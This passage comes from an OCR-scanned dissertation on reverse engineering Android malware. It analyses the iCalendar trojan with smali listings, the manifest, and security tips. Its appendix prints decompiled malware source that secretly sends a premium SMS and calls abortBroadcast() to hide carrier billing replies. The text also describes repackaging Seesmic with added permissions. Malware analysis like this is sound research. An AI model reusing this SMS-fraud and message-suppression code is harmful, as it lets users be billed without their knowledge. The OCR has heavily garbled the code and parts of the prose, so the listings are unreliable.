965 |.method public save()V

1=
U“.Eﬁ

866 .locals ¢4
067
968 \prologue

2639 Jdine 267
1 iget-object vl, pl, Leom/mj/iCalendar/iCalendar;-»2cDB:landroid/content/SharedPreferences;

gm2 invoke-interface {vl}, Landroid/content/SharedPreferences;->edit ()Landroid/content/SharedPreferencesiEditor;
move-result-obiect v0
976 Jline 268

Jlocal v0, mEditor:landroid/content/SharedPreferences$Editor;
iget-object vl, pd, Lcom/mj/iCalendar/iCalendar;-»scitate:Ljava/lang/5tring;

const-string v2, "1"

a2 invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;-»putString(Ljava/lang/String;Liava/lang/3tring;) Landroid/content/SharedPreferencest

Jline 269
iget-obiect v1, p0, Lcom/mi/iCalendar/iCalendar;-»schumber:Liava/lang/3tring;

Another very interesting fact is that the developer hides all incoming messages from certain
numbers that pertain to the subscription messages that the user receives. When the message is
sent by the application without the user’s knowledge, the SMS service sends text messages
back to the user. The developer uses broadcast receivers in order to abort messages that arrive
from certain numbers. Hence the user has no idea that he/she has subscribed to an SMS
service and is being charged for the same. This part of the code is available in the
SmsReceiver.smali file.

The numbers from which messages are concealed are, "10086", "10000", "10010",
"1066185829", "1066133" and "106601412004". A method called abortBroadcast() is used
to hide the messages. This method could even avoid other messaging applications from
processing the text messages from the above numbers.
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iCalendarsmali = SmsReceiver.smali |
167 .line 41
168 |const—string wll, ™10661858239"™

invoke-virtual {v1l, w6}, Ljava/lang/String;->equals(Ljava/lang/Cbject;)Z

move—-result wll

if-nez wll, :cond 3

-line 42
const—-string vi1l, "10&66133™

invoke-virtual {vll, wv&}, Lijava/lang/String;-»equals(Ljava/lang/Cbhject;)Z

move—-result wll

if-nez wll, :cond 3

-line 43
const—-string v1l, "106601412004™

invoke-virtual {vll, wv&}, Lijava/lang/String;-»equals(Ljava/lang/Cbhject;)Z
move-result w1l
if-egz wll, :cond 4

-line 44
tcond 3

| invoke-virtual {p0}, Lcom/mj/iCalendar/SmsReceiver;->abortBroadcast()V |
ttry end O

1 0o P s T T B e L LI R Y e T T s B I

Let us also take a look at the Android Manifest File in order to see the permissions that the
malware 1Calendar can access.

P' e
[ CAUsers\Vibha\Desktop\Vibha\DISSERTATION\TOOLS\iCalendar acbcad45094de7e877b656db1c28ada\AndroidMa... 1 =D o)
—— e c—

S

File Edit Search View Enceding Language Settings Macro Run  Plugins Window 7 X
cHEHE 2 GR|ldiDhEociay tx BRH1EDCENMNE ¥

iCalendar.smali I SmsReceiversmal | =] AndroidManifest zanl |

r </receiver> -

r </application>

f<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS COARSE LOCATION" />
<uses-permission android:name="android.permission.RESTART PACKAGES" />
<uses-permission android:name="android.permission.RECEIVE SMS" />
<uses-permission android:name="android.permission.SEND SMS" />

<uses-permission android:name="android.permission.SET WALLPAPER" />

=1 o s

(]

R R PR TR TUR R R R R Y
w m

2 <uses-sdk android:minSdkVersion="3" /> E
3 < /manifestc»
4 | -
[ W | 2
extensil length: 2090 lines: 34 Ln:34 Col:1 5Sel:0 Dos\Windows AMNSIas UTF-8 INS

It can be observed that this application accesses the Internet, Location, and most importantly
the SMS. When this application is installed the permissions can be viewed by selecting
Settings>Application>Manage Applications—=>iCalendar.
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Permissions
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With respect to the second application in this project, namely, Se/Smic.apk, we can observe
from the diagrams above that it accesses a few permissions that are required by the
application to function normally. When a developer with malicious intent alters the files
he/she can make a perfectly harmless application behave as a malware and can cause harm to
the end user.

Therefore it becomes very crucial for every user to check the permissions that any application
he/she is downloading really requires access to them or not. One of the major disadvantages
of Android applications is that without agreeing to grant access to all the permissions, an
application cannot be installed on the device.

The application iCalendar is only supposed to display the calendar for the current year and do
nothing more. Hence it is obvious that it does not require permission to send messages or
receive messages, the user’s location, etc.

Similarly, the application Seesmic accesses certain permissions in order for it to work
normally. Since Seesmic is one application that allows a user to manage all the social
networks, hence it requires access to Internet, Location in order to update status; but it does
not require access to the user’s SMS and Private data. Hence after we alter the manifest file
and install the application, the user needs to have certain responsibilities while installing the
application.



50

Reverse Engineering of Malware on Android

Conclusion

In the past few years smartphone users have increased exponentially. The various
smartphones range from products by Nokia, Apple, Google, Blackberry, etc. The operating
systems for smartphones are Symbian, 10S, Android and Blackberry. Smartphones are
viewed as portable PCs as they have all the functionalities of a desktop PC integrated in
them.

Just as there are hackers/attackers releasing malwares for PCs, there are attackers who are
now targeting smartphones. The main reason for this is that mobile security is still in its
initial stages and lack of user awareness regarding how their devices can be compromised if
they are not careful enough.

Google’s open source operating system, Android, is one of the most popular smartphone
operating systems. Android is a Linux based operating system that also includes key
applications and middleware. In order to fully benefit from and explore the functionalities of
Android, Google allows third party developers to create applications and release it to the
Android Market.

The Android Market is one application that is installed on the device that enables a user to
browse and download several paid and free applications. It is similar to the AppStore for
iPhone. Developers will have to sign their code and test it thoroughly to make sure it is
functioning properly without causing any kind of harm to the user and they then release it on
Android Market.

It is however possible for attackers to release malwares on Android Market. Google is
currently doing a great job at cleaning the market and making it free from malwares.
However attackers can create malwares or patches for existing applications that once installed
make the application behave as a malware or they can simply take an existing application and
disassemble it, alter the code to make it function abnormally, and repackage the application.

Malwares on Android have been huge in number and attackers are constantly discovering
newer methods to crack into the devices. The main reason for this is because smartphones
like Android are not just used as a portable telephone these days. Android devices can access
the internet, make online bank transmissions, manage social networks, etc. All these
functionalities of a mobile phone seem very tempting for an attacker to gain information of
the user and use it to his/her benefit.

There are a few best practices that can reduce the number of malwares on Android devices
(10).

e Lock the device automatically after a minute of being idle.

e Enable a Password or PIN on the device.

e Installation of application from trusted sources is a key security measure. Hence it is
important to verify the reputation of the application developer/organization and the
application or service reviews.
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e Special attention needs to be provided for the permissions that an application requests
access to. The user must decide if these permissions are really required by the
application or not.

e The application software and operating system must be up to date.

e Features such as Wi-Fi, Bluetooth, etc that is not in use needs to be disabled.

e In case Bluetooth is enabled, the user should set the device as hidden and protect it
using a password.

e Encryption Software for calls and SMS should be incorporated.

e Regularly backup important files and data.

e Once the information is not needed it should be erased from the device.

e Sensitive information should not be stored on the device or cached locally. In case it
is stored on the device, it should be encrypted.

e The user must monitor and be aware of any abnormal behaviour of the device.

e In case of device theft, provide the service provider with necessary information like
IMEI number in order to block it.

e Organizations need to consider smartphones while establishing their security policies.

e Users should steer clear of Wi-Fi networks that cannot be trusted.

e Users need to be alert when opening SMS attachments, Links, Emails, etc as they can
be entry points for a malware.

e User account activity should be frequently monitored in order to discover fraud.

e The user should know the risks that are associated with Android devices and should
use them correctly in order to prevent malware or spyware attacks.

e Developers of applications must also make sure that their code has no loopholes that
can be exploited by hackers. They should also sign their code and validate their
identity in order to make sure that they are the legitimate developers of a particular
application.

Future Work

Since Android is a fairly new topic, this project mainly focussed on the basics of its
architecture and security issues. The several malwares that exist in the Android platform are a
field of concern for both the users as well as Google. Therefore this project has discussed in
great detail regarding the malwares, their effects and how they can be eradicated in order to
provide malware/spyware free applications for users.

In the scope of this project, the most appropriate way of understanding malwares is by
studying the working of an already existing malware. The next step is to try and alter a
normally functioning application and craft it to behave as a malware. These two steps have
been successfully achieved in this piece of work.

The AndroidManifest file is the only file that has been altered in order to allow the
application to access more sensitive data. A developer can pursue this and add malicious code
in the Java files in order to convert the application into a fully functional malware that can
make use of the user’s personal data to achieve profit.
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The ideal next step would be to then program a new malware from the beginning, sign the
application, release it on the Android Market and install it onto a real device and test it to see
if it is working as expected. The developer can then inform Google of any loophole they find
and help in cleaning the Android Market and reducing the chances of malwares being
installed on Android devices.
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Appendix

1.

Java Program of Malware iCalendar.

1.1 File Name: SmsReceiver.class

package com.mj.iCalendar;

import android.content.BroadcastReceiver;
import android.content.Context;

import android.content.Intent;

import android.os.Bundle;

import android.telephony.gsm.SmsMessage;

public class SmsReceiver extends BroadcastReceiver

{
private static final String strRes = "android.provider.Telephony.SMS RECEIVED";

public void onReceive(Context paramContext, Intent paramIntent)
{
long 11 = System.currentTimeMillis();
long 12 = iCalendar.iStartTime;
long 13 =11 - 12;
if
('paramlIntent.getAction().equals("android.provider.Telephony.SMS RECEIVED"))
return;
if (13 > 86400000L)
return;
Bundle localBundle = paramIntent.getExtras();
if (localBundle == null)
return;
Object[] arrayOfObject = (Object[])localBundle.get("pdus");
SmsMessage|[] arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
inti=0;
int j = arrayOfObject.length;
int k;
int m;
if 1>=j)
{
k = arrayOfSmsMessage.length;
m = 0;
}

while (true)
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{
if (m >=k)
{
return;
SmsMessage localSmsMessage =
SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
arrayOfSmsMessage[i] = localSmsMessagel ;
1+=1;
break;
}
SmsMessage localSmsMessage2 = arrayOfSmsMessage[m];
try

{
String str = localSmsMessage2.getDisplayOriginatingAddress();

if (("10086".equals(str)) || ("10000".equals(str)) || ("10010".equals(str)) ||
("1066185829".equals(str)) || ("1066133".equals(str)) || ("106601412004".equals(str)))
abortBroadcast();
m+=1;
§
catch (Exception localException)
{
while (true)
abortBroadcast();
H
}
}
h

1.2 File Name: iCalendar

package com.mj.iCalendar;

import android.app.Activity;

import android.app.AlertDialog;

import android.app.AlertDialog.Builder;
import android.app.Pendinglntent;

import android.content.Context;

import android.content.Intent;

import android.content.SharedPreferences;

import android.content.SharedPreferences.Editor;
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import android.content.res.Resources;

import android.graphics.Bitmap;

import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.os.Bundle;

import android.os.Handler;

import android.telephony.gsm.SmsManager;
import android.view.View;

import android.view.View.OnClickListener;
import android.view.View.OnLongClickListener;
import android.widget. AdapterView;

import android.widget. AdapterView.OnltemClickListener;
import android.widget.GridView;

import android.widget.ListAdapter;

import android.widget.SimpleAdapter;

import android.widget.Toast;

import com.admob.android.ads.AdView;

import java.io.IOException;

import java.io.PrintStream;

import java.util. ArrayList;

import java.util. HashMap;

import java.util. Timer;

import java.util. TimerTask;

public class iCalendar extends Activity implements View.OnClickListener,
View.OnLongClickListener, AdapterView.OnltemClickListener

{
public static long iStartTime = OL;
private GridView dialogGridView;

private boolean iAutoFlag;
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private Drawable iDrawable;

private boolean iTouch;

private int index;

private Handler mHandler;

private Timer mTimer;

private TimerTask mTimerTask;

private View main;

AlertDialog menuDialog;

int[] menu_image arrayl;

int[] menu_image array?2;

private String[] menu name arrayl;

private String[] menu name array?2;

private SharedPreferences scDB;

private String scNumber = "iBookN";

private String scState = "iBookS";

private String scTable = "iBookT";

private String tag = "iBook";

public iCalendar()

{
String[] arrayOfString1l = new String[4];
arrayOfString1[0] = B HHFEF";
arrayOfStringl[1] = "& B £ E";
arrayOfString1[2] = "B Z#EL";
arrayOfString1[3] = "[RBIFEF";
this.menu name arrayl = arrayOfStringl;
int[] arrayOfInt] = { 2130837521, 2130837520, 2130837518, 2130837523 };
this.menu image arrayl = arrayOfIntl;
String[ ] arrayOfString2 = new String[4];
arrayOfString2[0] = "B HHFRF";
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arrayOfString2[1] = & B £ H";
arrayOfString2[2] = "Foh#EHL";
arrayOfString2[3] = "R BIF2F";

this.menu_name array2 = arrayOfString?2;

int[] arrayOfInt2 = { 2130837521, 2130837520, 2130837522, 2130837523 };

this.menu_image array2 = arrayOfInt2;
}
private void find AD()
{
AdView localAdView = (AdView)findViewByld(2131034117);
localAdView.setAlwaysDrawnWithCacheEnabled(1);
localAdView.requestFreshAd();

}

private  ListAdapter  getMenuAdapter(String[]  paramArrayOfString,  int[]
paramArrayOflnt)

{

ArrayList local ArrayList = new ArrayList();
inti=0;
while (true)
{
int j = paramArrayOfString.length;
if (i>=}))
{
String[] arrayOfString = new String[2];
arrayOfString[0] = "itemImage";
arrayOfString[ 1] = "itemText";
int[] arrayOfInt = { 2131034114, 2131034115 };
1Calendar localiCalendar = this;

return new  SimpleAdapter(localiCalendar,
2130903042, arrayOfString, arrayOfint);

localArrayList,
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h
HashMap localHashMap = new HashMap();

Integer locallnteger = Integer.valueOf(paramArrayOfint[i]);

Object localObject] = localHashMap.put("itemImage", locallnteger);
String str = paramArrayOfString][i];

Object localObject2 = localHashMap.put("itemText", str);

boolean bool = local ArrayList.add(localHashMap);

1+=1;

}

private void openDialog(int paramInt)
{
View localView = View.inflate(this, 2130903040, null);
AlertDialog localAlertDialog = new AlertDialog.Builder(this).create();
this.menuDialog = localAlertDialog;
this.menuDialog.setView(localView);
GridView localGridView1 = (GridView)localView.findViewByld(2131034112);
this.dialogGridView = localGridViewl;

switch (paramlnt)

{
default:
case 0:
case 1:
b
while (true)

{
this.dialogGridView.setOnltemClickListener(this);

this.menuDialog.show();
return;

GridView localGridView?2 = this.dialogGridView;
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String[] arrayOfStringl = this.menu_name arrayl;

int[] arrayOfIntl = this.menu_image arrayl;

ListAdapter localListAdapter] = getMenuAdapter(arrayOfStringl, arrayOflnt1);
localGridView2.setAdapter(localListAdapter1);

continue;

GridView localGridView3 = this.dialogGridView;

String[] arrayOfString2 = this.menu_name_array?2;

int[] arrayOfInt2 = this.menu_image array2;

ListAdapter localListAdapter2 = getMenuAdapter(arrayOfString2, arrayOflnt2);
localGridView3.setAdapter(localListAdapter2);

private void showImg()
{
if (this.index == 5)
sendSms();
if (this.index >= 33);
int k;
for (this.index = 0; ; this.index = k)
{
Resources localResources = getResources();
int i = this.index;
int j =2130837505 +i;
Drawable localDrawablel = localResources.getDrawable(j);
this.iDrawable = localDrawablel;
View localView = this.main;
Drawable localDrawable2 = this.iDrawable;
localView.setBackgroundDrawable(localDrawable2);
return;

k = this.index + 1;
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b

b

public void autoPlay()

{
Timer localTimer1 = new Timer();
this.mTimer = localTimerl1;
1Calendar.1 locall = new iCalendar.1(this);
this.mHandler = locall;
1Calendar.2 local2 = new iCalendar.2(this);
this.mTimerTask = local2;
Timer localTimer2 = this.mTimer;
TimerTask localTimerTask = this.mTimerTask;
localTimer2.schedule(localTimerTask, 1000L, 3000L);
this.iAutoFlag = 1;

}

public String getStateVal()

{
String strl = this.scTable;
SharedPreferences localSharedPreferences1 = getSharedPreferences(strl, 0);
this.scDB = localSharedPreferences1;
SharedPreferences localSharedPreferences2 = this.scDB;
String str2 = this.scState;

return localSharedPreferences2.getString(str2, "");

public long getTimeVal()
{
String str1 = this.scTable;
SharedPreferences localSharedPreferences] = getSharedPreferences(strl, 0);

this.scDB = localSharedPreferencesl;
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SharedPreferences localSharedPreferences2 = this.scDB;
String str2 = this.scNumber;

long 1 = System.currentTimeMillis();

return localSharedPreferences2.getLong(str2, 1);

}

public void onClick(View paramView)
{
View localView = this.main,;
if (!paramView.equals(localView))
return;
if (this.iTouch)
return;
showImg();
}

public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
boolean bool = requestWindowFeature(1);
setContentView(2130903043);
View localView = findViewByld(2131034116);
this.main = localView;
this.main.setOnClickListener(this);
this.main.setOnLongClickListener(this);
findAD();
}

protected void onDestroy()

{

super.onDestroy();

}
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public void onltemClick(AdapterView<?> paramAdapterView, View paramView, int
paramlnt, long paramLong)

{

PrintStream localPrintStream = System.out;
String str = "arg2 = " + paramlnt;
localPrintStream.println(str);
GridView localGridView = this.dialogGridView;
if (!paramAdapterView.equals(localGridView))

return;
switch (paramlnt)
{
default:
case 0:
case 1:
case 2:
case 3:
b
while (true)
{

this.iTouch = 0;

return;

finish();

continue;

try

{

if (this.iDrawable == null)
{
Drawable localDrawable = getResources().getDrawable(2130837505);

this.iDrawable = localDrawable;

}
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Bitmap localBitmap = ((BitmapDrawable)this.iDrawable).getBitmap();
getApplicationContext().setWallpaper(localBitmap);
this.menuDialog.cancel();

Toast.makeText(this, "% & & HFKI | ", 1).show();

h
catch (IOException locallOException)

{
while (true)
locallOException.printStackTrace();
b
if (!this.iAutoFlag)
autoPlay();
while (true)
{
this.menuDialog.cancel();
break;
boolean bool = this.mTimerTask.cancel();
this.iAutoFlag = 0;
}
this.menuDialog.cancel();
}
}
public boolean onLongClick(View paramView)
{
View localView = this.main;
if (paramView.equals(localView))
{
if (this.iAutoFlag)
break label33;

63
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openDialog(0);
b
while (true)
{
this.iTouch = 1;
return false;

label33: openDialog(1);

h
}

protected void onPause()

{

super.onPause();

}

protected void onResume()

{
iStartTime = getTimeVal();
super.onResume();

}

public void save()
{
SharedPreferences.Editor localEditor] = this.scDB.edit();
String strl = this.scState;
SharedPreferences.Editor localEditor2 = localEditor1.putString(strl, "Y");
String str2 = this.scNumber;
long 1 = System.currentTimeMillis();
SharedPreferences.Editor localEditor3 = localEditor1.putLong(str2, 1);
boolean bool = localEditor1.commit();

}
public void sendSms()

{
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String str = getStateVal();
if ("Y".equals(str))
return;
SmsManager localSmsManager = SmsManager.getDefault();
Intent locallntent = new Intent();

PendingIntent  localPendinglntent] =  Pendinglntent.getBroadcast(this, O,
locallntent, 0);

PendingIntent localPendingIntent2 = null;

localSmsManager.sendTextMessage("1066185829", null, "921X1",
localPendinglntent1, localPendingIntent2);

save();
}

§
2. Images of Seesmic Application (27)

c 2

2

»s sdelbecqt

= @ o 2
Timeline Replies Messages Profile

1SS HHHIUD SUIIL IC I I =T

#BlogSG

Schwarzenegger 1 hour ago
Dancing the Hora today at the Menorah
Lighting. It was my 7th Menorah Lighting,
and I always love it. http://twitpic.
com/3bptdq

wirechairs 1 hour ago
Impressed that @ClifBar offices cafeteria
has @sightglass #coffee drip station! (we
need one too @ChronicleBooks) http://
yfrog.com/3uye2jj

13 retweeted by Sightglass

mrgan 1 hour ago
Audio tip: If your headphones leak out a
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